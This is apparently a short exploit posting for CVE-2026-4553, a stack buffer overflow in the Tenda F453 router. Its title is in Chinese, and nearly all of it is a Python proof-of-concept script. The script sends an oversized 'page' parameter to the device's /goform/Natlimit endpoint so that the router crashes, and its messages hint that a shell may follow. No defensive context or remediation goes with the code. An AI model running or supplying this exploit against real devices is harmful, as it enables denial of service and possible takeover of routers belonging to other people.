CVE-2026-4553 Tenda F453 栈缓冲区溢出漏洞

import requests # Target settings target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/Natlimit" # Malicious payload to trigger stack overflow # Length depends on the specific buffer size of the device buffer_size = 500 payload = "A" * buffer_size # Data payload data = { "page": payload } try: print(f"Sending exploit to {target_url}...") response = requests.post(target_url, data=data, timeout=5) # Check if the device responds (often it will crash/time out) if response.status_code == 200: print("Request sent, check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.Timeout: print("Device did not respond (likely crashed due to overflow).") except Exception as e: print(f"An error occurred: {e}")